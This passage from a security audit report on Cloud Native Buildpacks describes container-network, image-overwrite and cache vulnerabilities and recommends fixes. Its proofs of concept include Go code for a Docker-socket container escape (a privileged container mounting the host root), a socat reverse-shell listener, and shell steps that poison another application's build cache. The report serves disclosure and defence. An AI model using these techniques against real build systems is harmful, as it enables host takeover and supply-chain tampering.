CNB_PLATFORM_API should be set to avoid breaking changes when upgrading the

lifecycle↪→

ERROR: failed to build: refusing to run as root

The lifecycle binary refuses to run the build phase under UID=0. To circumvent that, one
should configure it’s environment as follows:

$ cat /etc/docker/daemon.json
{
"userns-remap" : "default"

}

$ cat /etc/subuid
dockremap:1000:1000
dockremap:0:1
dockremap:100000:64535

$ cat /etc/subgid
dockremap:996:1
dockremap:100000:65535

$ getent group docker
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docker:x:996:<redacted>

$ ls -al /var/run/docker.sock
srw-rw---- 1 root docker 0 Mar 21 06:55 /var/run/docker.sock

By doing the above, user with UID=1000 in the container is remapped to user with UID=0
in the root user namespace, and group with GID=0 in the container is remapped to group with
GID=996 (docker) in the root user namespace. This allows the user with UID=0 and GID=0
(root) in the container user namespace to communicate with the Docker daemon using the group
identifier remapping (GID=0 (container) -> GID=996 (outside container)). On the other hand,
the user with UID=1000 in the container can also communicate with the daemon through the
socket using the user identifier remapping (UID=1000 (container) -> 0 (outside container)).
Using the above identifier remapping, one can build an application using CNB:

$ pack build sample-bash-script-app --builder cnbs/sample-builder:jammy
...
Successfully built image sample-bash-script-app

The above issue is valid only for a Docker host in the default non-rootless config-
uration. This issue is not in the scope of the defined threat model 6 as it violates
the defined conditions (host and container runtime are secure). However, we find
this as a rather interesting experiment that CNB developers should be aware of

MEDIUM MED-2 Docker permissive inter-container connectivity

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled buildpacks

Description

Docker containers used to build an application are launched in the default Docker container
bridge (docker0) network allowing them to communicate with already running containers

Recommendation

Launch the Docker build containers in a separate ephemeral Docker bridge network [25]

Docker networking relies on Linux network namespaces and bridges [26] [27]. When using
the default network configuration of Docker, all newly-started containers connect to a default
bridge network. This is also the case for build containers created by CNB. Running on the
default bridge network could, however, allow an attacker to communicate with other containers
also running on this network which are not part of the build process.

Proof-of-Concept (PoC)

To illustrate the above, we’re going to construct a custom buildpack and use it in an untrusted
builder to build a template app picked from the official CNB GitHub repository [16]. Addition-
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ally, we’re going to have a container registry running inside a container on the default bridge
network with which the buildpack is going to communicate.

// Buildpack code used for the build phase
package main
import (
"fmt"
"io"
"net/http"
"os"

)

func main(){
r, err := http.Get("http://172.17.0.2:5000/v2/_catalog")
if err != nil {

panic(err)
}
b, err := io.ReadAll(r.Body)
if err != nil {

panic(err)
}
fmt.Println(string(b), r.StatusCode)
os.Exit(-1)

}

The above has to be compiled and used as part of the build process of the buildpack:

$ go build -o ~/buidpacks/samples/apps/bash-script/bash-script-buildpack/bin/build
$ cd ~/buidpacks/samples/apps/bash-script
$ pack build quarkslab --builder cnbs/sample-builder:jammy
...
===> BUILDING
[builder] Timer: Builder started at 2024-03-19T14:55:55Z
[builder] {"repositories":["bad-builder","extensions-builder","malicious",
"run-image-curl"]}
[builder] 200
[builder] Timer: Builder ran for 44.505924ms and ended at 2024-03-19T14:55:55Z
[builder] ERROR: failed to build: exit status 255
ERROR: failed to build: executing lifecycle: failed with status code: 51

From the above snippet, one can see the communication of the buildpack with registry
container which is not part of the build process.
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INFO INFO-2 Excessive Docker container capabilities

Perimeter Build process

Description

Attacker-controlled buildpacks

Recommendation

Docker containers used to build an application are launched with Docker’s default set of
capabilities

Restrict the set of capabilities used by the build containers Docker containers used to build
an application are launched with Docker’s default set of capabilities. However, it is considered
as a good practice to limit the container capabilities to the strict minimum. A good way to
do that is to trace the used capabilities [28] of the processes executing the different application
build phases. It should be straighforward for the analyze , detect , export and restore
phases. However, for the build phase this could be more challenging as applications are build
in a different manner. Nevertheless, these restrictions can be applied to the above mentioned
application build phases in the context of untrusted builders.

8.1.4 Trusted images

During the code review of the project (static analysis), it was discovered that several container
image were hardcoded into the source code. These images represented builders and units used
to build applications. They were considered trusted and hence, were used in a different con-
tainer execution context during an application build process. One of those images was the
buildpacksio/lifecycle:0.18.5 image. After inspecting the image’s contents, we discov-
ered that the only interesting thing inside was the lifecycle binary:

$ docker save buildpacksio/lifecycle:0.18.5 > lifecycle.tar
$ mkdir lifecycle-image && tar -xvf lifecycle.tar -C lifecycle-image && cd

lifecycle-image↪→

$ mkdir filesystem && find . -name layer.tar -exec tar -xvf {} -C filesystem \;
$ cd filesystem& && du -d2 -h .
0B^^I./proc
0B^^I./home/nonroot
0B^^I./home
29M^^I./cnb/lifecycle
29M^^I./cnb
0B^^I./usr/bin
0B^^I./usr/include
4,0K^^I./usr/sbin
4,0K^^I./usr/lib
0B^^I./usr/games
5,2M^^I./usr/share
0B^^I./usr/src
5,2M^^I./usr
0B^^I./boot
0B^^I./bin
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0B^^I./sbin
0B^^I./etc/skel
196K^^I./etc/ssl
4,0K^^I./etc/update-motd.d
0B^^I./etc/default
0B^^I./etc/profile.d
4,0K^^I./etc/dpkg
260K^^I./etc
0B^^I./var/cache
0B^^I./var/spool
0B^^I./var/lock
0B^^I./var/local
104K^^I./var/lib
0B^^I./var/log
0B^^I./var/run
0B^^I./var/tmp
0B^^I./var/backups
104K^^I./var
0B^^I./sys
0B^^I./root
0B^^I./lib
0B^^I./dev
0B^^I./run
0B^^I./tmp
35M^^I.

The image was used to run separatetly the analyze , restore and export phases when
an application was being built using an untrusted builder (as described in 6.1.1). To run this
binary in a stripped container image was intentional and smart. It limited the means of an
attacker to dangerously escalate its privileges or break out of the container through the Docker
socket in the case where the attacker manages to somehow find and exploit a vulnerability in
the lifecycle binary. This was later confirmed by a blogpost [29] of one of the maintainers
of the project.

This image acts as an alternative of trust when the user has selected an untrusted builder. It
is used to run the lifecycle step that needs a privileged user, mainly in order to communicate
with the Docker socket and sensitive actions such as interacting with the caches.
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HIGH HIGH-1 Host compromise by overwriting trusted container images

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled OCI container image name, pull-policy is set to
never or to if-not-present

Description

It is possible for the users of Cloud Native Buildpacks to tag the produced OCI container
images for their applications in the same way as the trusted hardcoded builders or as the
hardcoded lifecycle image. In the case of a CI/CD, this could allow a container breakout
during a subsequent build if the pull policy is not set to pull-always

Recommendation

The CNB platform should prevent users from creating final application images having the
same tags as trusted builders or as the trusted lifecycle image used when building applications

As the name and version tag of the lifecycle container and the trusted builders image are
hardcoded, one could expect that the CNB platform would prevent its users to reuse the same
name and tag when building their application images. However, it is possible for the users of
CNB to name the container images, produced for their applications, in the same way as the
trusted builders or the lifecycle image hence, overwriting the legitimate versions of the latters
in the used container image registry (e.g: the Docker host). In the default configuration of
CNB this is not a problem, the above images are fetched and restored in the image registry
during each build. Nevertheless, this behavior can be changed using the pull-policy flag of
the CLI tool pack . When the latter is set to never or if-not-present, which we find as a
legitimate and common setup in the case of CI/CD, an attacker having control over the name of
its application image and/or the used builder, can provoke a DoS in the pipeline or even break
out of the container during a subsequent build. This is due to the fact that by overwriting, for
example, the lifecycle image, an attacker could end up executing code inside a container with
mounted Docker socket which could have devastating consequences as demonstrated in one of
the Quarkslab’s blog posts [30].

Proof-of-Concept (PoC) 1 - Denial-of-Service (DoS)

For this demonstration, we’ll use the Java Maven application, part of the samples directory [31],
with a a combination of trusted builder. We’re going to use the hypothesis that an attacker is
able to control only the name of the produced application image in the context of a CI/CD with
a pull policy configured to if-not-present :

$ pack build --pull-policy if-not-present -v \
paketobuildpacks/builder-jammy-base:latest \
--builder paketobuildpacks/builder-jammy-base
...
Successfully built image paketobuildpacks/builder-jammy-base:latest

Ref.: 24-04-1611-REP 32 Quarkslab SAS



$ pack build --pull-policy if-not-present -v \
paketobuildpacks/builder-jammy-base:latest \

--builder paketobuildpacks/builder-jammy-base
Builder paketobuildpacks/builder-jammy-base is trusted
ERROR: failed to build: invalid builder paketobuildpacks/builder-jammy-base:

builder index.docker.io/paketobuildpacks/builder-jammy-base:latest missing
label io.buildpacks.builder.metadata -- try recreating builder

↪→

↪→

The above snippet shows how the second application build failed because the first one over-
wrote the trusted builder image in the local image registry and the resulting image does not the
necessary builder metadata.

Proof-of-Concept (PoC) 2 - Privilege escalation and container breakout

For this demonstration we’ll use another application from the samples directory - a simple Bash
script [16]. This time, we’re going to use the hypothesis that an attacker is able to control the
name of the builder and the name of the produced application image again in the context of a
CI/CD with a pull policy configured to if-not-present :

$ pack build -v --pull-policy if-not-present buildpacksio/lifecycle:0.17.1
--builder cnbs/sample-builder:jammy↪→

Using project descriptor located at project.toml
Builder cnbs/sample-builder:jammy is untrusted
As a result, the phases of the lifecycle which require root access will be run in

separate trusted ephemeral containers.↪→

For more information, see https://medium.com/buildpacks/
faster-more-secure-builds-with-pack-0-11-0-4d0c633ca619
Pulling image index.docker.io/cnbs/sample-builder:jammy
jammy: Pulling from cnbs/sample-builder
Digest: sha256:6b1f9192abe34f37357114b0faf2de7b7a76bdcff53ffc2dc189a910603ffce2
Status: Downloaded newer image for cnbs/sample-builder:jammy
Selected run image cnbs/sample-base-run:jammy
Pulling image cnbs/sample-base-run:jammy
jammy: Pulling from cnbs/sample-base-run
Digest: sha256:4b427659ffee34c7702ff9e92db8c82fb27a24204f6ffa3721c968fa94f154c1
Status: Image is up to date for cnbs/sample-base-run:jammy
Downloading buildpack from URI:

file:///root/buidpacks/samples/apps/bash-script/bash-script-buildpack↪→

Pulling image buildpacksio/lifecycle:0.17.1
0.17.1: Pulling from buildpacksio/lifecycle
Digest: sha256:d2198a1940e80d6261d4cc4512c0303d56436836e59a71b90d28d03a5b9ba373
Status: Image is up to date for buildpacksio/lifecycle:0.17.1
Adding buildpack samples/bash-script version 0.0.1 to builder
Setting custom order
Creating builder with the following buildpacks:
...
Successfully built image buildpacksio/lifecycle:0.17.1

Now, suppose that another app is later on build in the context of the same CI/CD:
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$ pack build -v --pull-policy if-not-present quarkslab --builder
cnbs/sample-builder:jammy↪→

...
ERROR: failed to build: executing lifecycle: container start: Error response from

daemon: failed to create task for container: failed to create shim task: OCI
runtime create failed: runc create failed: unable to start container process:
exec: "/cnb/lifecycle/analyzer": stat /cnb/lifecycle/analyzer: no such file or
directory: unknown

↪→

↪→

↪→

↪→

We see an error message saying that the analyzer component is missing on the filesystem.
This proves that the image that we just build was used by the builder cnbs/sample-builder:jammy .
However, this image does not contain a program with that name. Nevertheless, if an attacker
manages to take control over the runtime image using, for example, CNB image extensions [32]
or a custom builder [custom-builder] he can take control over the Docker socket. Let’s assume
that an attacker is capable of controlling the runtime image used by the previous builder and
modifies it as follows:

FROM golang:1.21
COPY . /src
WORKDIR /src
RUN go build -o /bad main.go

FROM cnbs/sample-base-run:jammy
USER 0
COPY --from=0 /bad /cnb/lifecycle/analyzer
CMD ["/cnb/lifecycle/analyzer"]

The Go program represents a small Docker client performing a classical container escape:

package main

import (
"context"
"os"
"github.com/docker/docker/api/types/container"
"github.com/docker/docker/client"

)

func main() {
dockerClient, err := client.NewClientWithOpts(client.WithVersion("1.43"))
if err != nil {

panic(err)
}

config := &container.Config{
Image: "alpine", // Example image
Cmd: []string{"chroot /host"},

}
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hostConfig := &container.HostConfig{
Privileged: true,
Binds: []string{"/:/host"},

}

_, err = dockerClient.ContainerCreate(context.Background(), config,
hostConfig, nil, nil, "")

if err != nil {
panic(err)

}
os.Exit(-1)

}

Building the previous application but this time with a controlled image gives the follow-
ing:

$ pack build -v --pull-policy if-not-present quarkslab --builder
cnbs/sample-builder:jammy↪→

pack build -v --pull-policy if-not-present quarkslab --builder
cnbs/sample-builder:jammy↪→

...
ERROR: failed to build: executing lifecycle: failed with status code: 255
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS

PORTS NAMES↪→

1fa7fcb41137 alpine "chroot /host" 3 seconds ago Created
awesome_khorana↪→

8.1.5 Analysis of the caching solution
When building a new application, two persistent Docker volumes as well as two temporary ones
are created and are dedicated to the application that is being built. Their purpose is to speed
up the build process when an application is rebuilt. The first persistent cache is used as a build
cache in order to store build information (information used by builders) that can be reused
for subsequent builds. The second one contains all the OCI image layers stored as tarballs
which were used to build the previous final application image. The persistent caches are never
used directly. Their contents are copied into the temporary volumes. Not all layers created
by buildpacks are cached, in fact there are several options for them which are not mutually
exclusive:

• build: the layer is cached for the duration of the build process to be used by subsequent
buildpacks;

• launch: the layer has to be included in the final application image;

• cache: the layer will be cached for subsequent builds.

This following table is extracted from CNB specification [15]. It describes the locations
from which a dependency layer (added by a buildpack), metadata and SBOM are restored.
Furthermore, the conditions which should be met for a layer to be restored, from a given location,
are listed:
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build cache launch Metadata* and SBOM**
restored

Layer restored

true true true Yes - from the app image Yes* - from the cache
true true false Yes - from the cache Yes - from the cache
true false true No No
true false false No No
false true true Yes - from app image Yes* - from the cache
false true false Yes - from the cache Yes - from the cache
false false true Yes - from the app image No
false false false No No

* The metadata and layers are restored only if their SHA256 matches the the ones stored in
the cache and in the previous image.
** Only SBOM files associated with a layer are restored. Launch-level and build-level SBOM
files must be re-created on each build.

The only condition required for the cache contents to be used by an application is that its
name matches the name of the application for which the cache was created.

However, there is no verification on the application contents meaning that an attacker could
try to build a completely different application with the same name and access the cache contents
of another application.

LOW LOW-4 Data leak by accessing other applications caches

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled buildpacks and OCI container image name

Description

Build and launch caches are reused when two applications are built using CNB under the
same name. This could allow an attacker to access the build and launch caches of another
application and retrieve its build artefacts as well as its contents

Recommendation

The platform should ensure that the used caches belong to the application which created
them before starting the build process. Furthermore, the platform should restrict their use
through permissions

As existing build and launch caches can be reused if application is build using CNB under the
same name, an attacker is able to access their contents during the analyze or build phases
using a controlled buildpack. In detail, this allows the latter to access the build and launch
caches of another application and retrieve build artefacts, the application contents stored in the
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form of tarballs and the associated SBOM.

To demonstrate the scenario, we’ll first build one of the sample applications from the Build-
packs Github repository [31] - the java-maven using a trusted builder:

$ pack build application_one --path apps/java-maven/ --builder
docker.io/paketobuildpacks/builder-jammy-tiny:latest↪→

The application is named application_one, two Docker volumes have been created after
the build:

$ docker volume ls
DRIVER VOLUME NAME
local pack-cache-library_application_one_latest-f5ab887ec53c.build
local pack-cache-library_application_one_latest-f5ab887ec53c.launch

The build cache, for example, contains 5 differents tarballs:

$ ls /var/lib/docker/volumes/pack-cache-library_application_one_latest-
f5ab887ec53c.build/_data/committed
io.buildpacks.lifecycle.cache.metadata
sha256:2ba359f4b260bf8fa7ee331a2593b90e46561d12e81dd5cace534ae4d1d91c49.tar
sha256:4d3a94e1323347539c87cc618ab488093ba9ef9ef47e06b2854d6f33a709595d.tar
sha256:59888fa804f14d25de43b08e5ad2ac65a4c0037a2185bdc40eb177cc81727dec.tar
sha256:b1fa80cbc9e9ffd13f669ef827da13ddac502884c6b40272202b6fd8f40a290b.tar
sha256:fd66cece3b938b72315cc3efd76eecd34efc4f1674464e33a4f9cf1cc57101b6.tar

Now, we’re going to build a completely different application using a malicious buildpack that
allow us to obtain a reverse shell during the detect phase. To make the demonstration easier,
we’re going to use a custom builder which will contain a socat binary to easily obtain a fully
interactive TTY shell:

$ pack build application_one --path apps/bash-script-custom/ --builder
docker.io/paketobuildpacks/builder-jammy-tiny-custom:latest↪→

In another shell on the host, we run our reverse shell listener and access the other image
data:

$ socat file:`tty`,raw,echo=0 tcp-listen:9875
cnb@ac168a9c20d3:/workspace$
cnb@ac168a9c20d3:/workspace$ ls /cache/committed/
io.buildpacks.lifecycle.cache.metadata
sha256:2ba359f4b260bf8fa7ee331a2593b90e46561d12e81dd5cace534ae4d1d91c49.tar
sha256:4d3a94e1323347539c87cc618ab488093ba9ef9ef47e06b2854d6f33a709595d.tar
sha256:59888fa804f14d25de43b08e5ad2ac65a4c0037a2185bdc40eb177cc81727dec.tar
sha256:b1fa80cbc9e9ffd13f669ef827da13ddac502884c6b40272202b6fd8f40a290b.tar
sha256:fd66cece3b938b72315cc3efd76eecd34efc4f1674464e33a4f9cf1cc57101b6.tar
cnb@ac168a9c20d3:/workspace$
cnb@ac168a9c20d3:/workspace$ ls /launch-cache/committed/
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sha256:000f6b628e384ea6b9fde8f415eb5c2126f4cded9991888f5bb4e6d30e1a4b3d.tar
sha256:1dc94a70dbaa2171fb086500a5d27797f779219b126b0a1eebb9180c2792e80e.tar
sha256:265fd76c5c0ab20898b16090157e6f9e28b5107f9aa4f8cbed02192525ff5737.tar
sha256:366ce7d1a7f90f2e4ad08752f87510eee3ffca18736fa63c03823c8c4ebf2925.tar
sha256:417e5bfc3c82b9373cf6804206e071d2fc74560df867d0f39cb21ac3d15231b6.tar
sha256:585d8b141d7aa07eecde5a1bae075c7898ab5809a215d66f160d3dfd46eaf577.tar
sha256:59ba1f666b34376236e77afae6e15fd2ccdef68227a3ac31dc8c4f8f27bb6231.tar
sha256:63947728e20f9b14d86f38d054f5c731a885dde465e5df2b24d404330dd744ab.tar
sha256:6baad2bb9a944737876b0ea5aa9e52058c2bbb9f8a97e96f8ccde5b819e2a44a.tar
sha256:6becfd29d8a24f768c72a0938b83823e57a424e7d4d12171d500d537d491eaf5.tar
sha256:bea0a3dc2651cac7c9c567a5cb4e7536107b357cb9113e8806f690f050500012.tar
sha256:c5e618be5756ce4c176be380d4369230c7d5f7923970ef73716735d2820fa3ad.tar
sha256:e13d418b1f97700b2a2f7776454c36ee26f394571519a4228802f1127f57429c.tar

This discovery leads to another one which we consider much more critical. Since we have a
full access to the build cache and it is possible to quit the build process without the lifecycle
or pack emptying the caches, it is possible to poison the cache.

HIGH HIGH-2 Cache poisoning by accessing other applications caches

Likelihood Impact

Perimeter Build process

Prerequisites Attacker-controlled buildpacks and OCI container image name

Description

Build and launch caches are reused when building a different application than the one which
created them. This allows a malicious application to modify them and trick a non-malicious
one into reusing the modified contents

Recommendation

Buildpacks binaries have to ensure that the build and launch caches belong to the application
which is being built before processing them or restrict their usage by modifying the needed
permissions

The severity of this vulnerability depends on how an application uses the dependencies
provided by a set of buildpacks. In order to successfully poison an application image, the
contents of a buildpacks provided layer have to be used in the final application (i.e have the
launch flag set to true ), or directly used during a subsequent build process. For example, if
the JDK is provided by a buildpack as a layer and is used to build a Java application, an attacker
could replace some parts of it, by building an OCI image with the same name using a controlled
buildpack, which could then be reused during a subsequent build of another application having
the same name.

To demonstrate the poisoning, we studied the different layers that are present in the build
cache of different applications. We need a buildpack that reuses some data in the build cache in
order to create launch layers that are not cached. The buildpack caches the dependencies and
then create launch layers for them during the build process.

Note that the following proof-of-concept has been done by manually modifying the cache
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using a reverse shell created by a buildpack inside a running builder but the operation can be
fully automated.

We first look for the cache layer that belongs to the paketo-buildpacks-maven in the
io.buildpacks.lifecycle.cache.metadata file:

$ cat io.buildpacks.lifecycle.cache.metadata | jq . | grep
"paketo-buildpacks/maven" -A 4↪→

"key": "paketo-buildpacks/maven",
"version": "6.15.13",
"layers": {
"application": {
"sha":

"sha256:dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd",↪→

We untar the tarball named after the layer which is located in the same directory as the
io.buildpacks.lifecycle.cache.metadata and modify its content by creating an empty file
named Quarkslab.class in the Spring Framework bootloader. Then we tar it again:

$ mv sha256:dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar
dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar && \↪→

$ mkdir tmp
$ tar -xvf dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar -C

tmp↪→

$ rm -f dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar
$ unzip tmp/layers/paketo-buildpacks_maven/application/application.zip -d

tmp/layers/paketo-buildpacks_maven/application/↪→

$ rm -f tmp/layers/paketo-buildpacks_maven/application/application.zip
$ touch tmp/layers/paketo-buildpacks_maven/application/org/springframework/
boot/loader/Quarkslab.class
$ zip -r tmp/layers/paketo-buildpacks_maven/application/application.zip

tmp/layers/paketo-buildpacks_maven/application/↪→

$ tar -cvf dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar
tmp/↪→

$ mv dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar
sha256:dd6cf941742066bc18da95a5c726fb393fb3fe7dea459dfc8f03036d43c6b1cd.tar↪→

$ exit

We finish building the application and the we rebuild another one with the same name and
retrieve the injected file successfully:

$ pack build application_one --path apps/java-maven/ --builder
docker.io/paketobuildpacks/builder-jammy-tiny:latest↪→

$ docker save application_one > application_one.tar
$ mkdir poisoned_one && tar -xvf application_one.tar -C poisoned_one
$ find poisoned_one -name '*.tar' -exec tar -tvf {} \; 2>/dev/null | grep

Quarkslab↪→

-rw-r--r-- 1001/1000 0 1980-01-01 00:00
/workspace/org/springframework/boot/loader/Quarkslab.class↪→
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Detailed Recommendation

Quarkslab auditors propose two recommendations here, each one having advantages and disad-
vantages with respect to the user experience. However, we strongly advise the CNB developers
to implement them both. The first potential solution solves the cache poisoning but only reduces
the data leak vulnerability LOW-4 to the restored layers from the build cache. This solution
also preserves the current build flow where no upstream configuration is normally needed from
the end user in order to containerize an application. It consists in several steps:

• Wipe the cache out whenever the untrusted flow is used;

• Any failure during lifecycle process should result in the cache being wiped out;

• Each time custom buildpack is used, either when passed via argument or via the applica-
tion source code (eg: project.toml), the untrusted flow using separate containers and the
lifecycle image should be used;

• The ownership of the build cache and launch cache should be set to root:root and the
Unix permissions should be set to 600 which prevent anyone but root to read or write
them (attacker-controlled code executes with lower privileges).

The second solution solves both data leak and cache poisoning and preserves the use of the
cache when using untrusted flow, but requires a few upstream configurations.

A secret key of size 256 bits has to be generated randomly for each project/application
repository. It could be then stored in a secure environment variable, set during CI/CD jobs and
then processed by pack or another CLI tool.

When building an application for the first time (i.e no cache) with the presence of the
environment variable containing the key, at the end of the build process, an authentication code
should be generated (details on how are presented below) for both build and launch caches and
it should be stored in a file at the root path of the caches.
For each subsequent build using the same application name (i.e cache exists), before starting
the build process, pack should check for the presence of an authentication code within the
two caches as well as if the environment variable exists and contains a valid key (256 bits). If
the key or the codes are not found, the caches should be wiped out. If they’re found, then the
authentication codes have to be regenerated in order to be compared with the previous ones. If
there is a code which does not match, this means the caches have been altered or don’t belong
to this application and therefore should be wiped out.

Note that Quarkslab’s auditors recommend to use digital signature for speed pur-
pose, authenticated encryption could also be used in order to protect the caches
from any other potential logical flaw or host compromission and therefore achieve
an excellent defence-in-depth security level.

The authentication code can be generated using the HMAC algorithm associated with SHA-2
or SHA-3 hash functions using the passed secret key on the whole content of the caches except
any previous authentication code.
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9. Technical Conclusion
Quarkslab was tasked to perform a security assessment on the Cloud Native Buildpacks tool

by OSTIF in the context of securing widely used open-source projects. The CNB specification
is well-defined and written. Most of the code was also well written and passed the performed
compliance checks.

Despite the overall good work quality of the specification and code source, Quarkslab’s
auditors found several logical vulnerabilities in the CNB workflow related to the usage of the
tool in the context of CI/CD pipelines.

In the context of a standalone usage, we couldn’t identify any major problems or vulnera-
bilities.

The identified vulnerabilities affected the integrity, confidentiality and authenticity of data
handled by CNB. However, most of them should be straightforward to fix.

Moreover, Quarkslab provided leads and strategies on how to fix them and achieve a good
Defense-in-Depth level. Once implemented, these strategies will enhance the overall security
level of the CNB project.

In order to go further in the security assessment of the project, Quarkslab’s auditors suggest
to assess the security of the different involved CNB components such as pack , kpack and
other CLI tools and lifecycle , as well as the extensions feature [32].
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Acronyms
CD Continious Development.

CI Continious Integration.

CNB Cloud Native Buildpacks.

CNCF Cloud Native Computing Foundation.

DoS Denial of Service.

JDK Java Development Kit.

OSTIF Open Source Technology Improvement Fund.

SBOM Software Bill Of Materials.
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Glossary
builder is a set of buildpacks, a build image and a run image..
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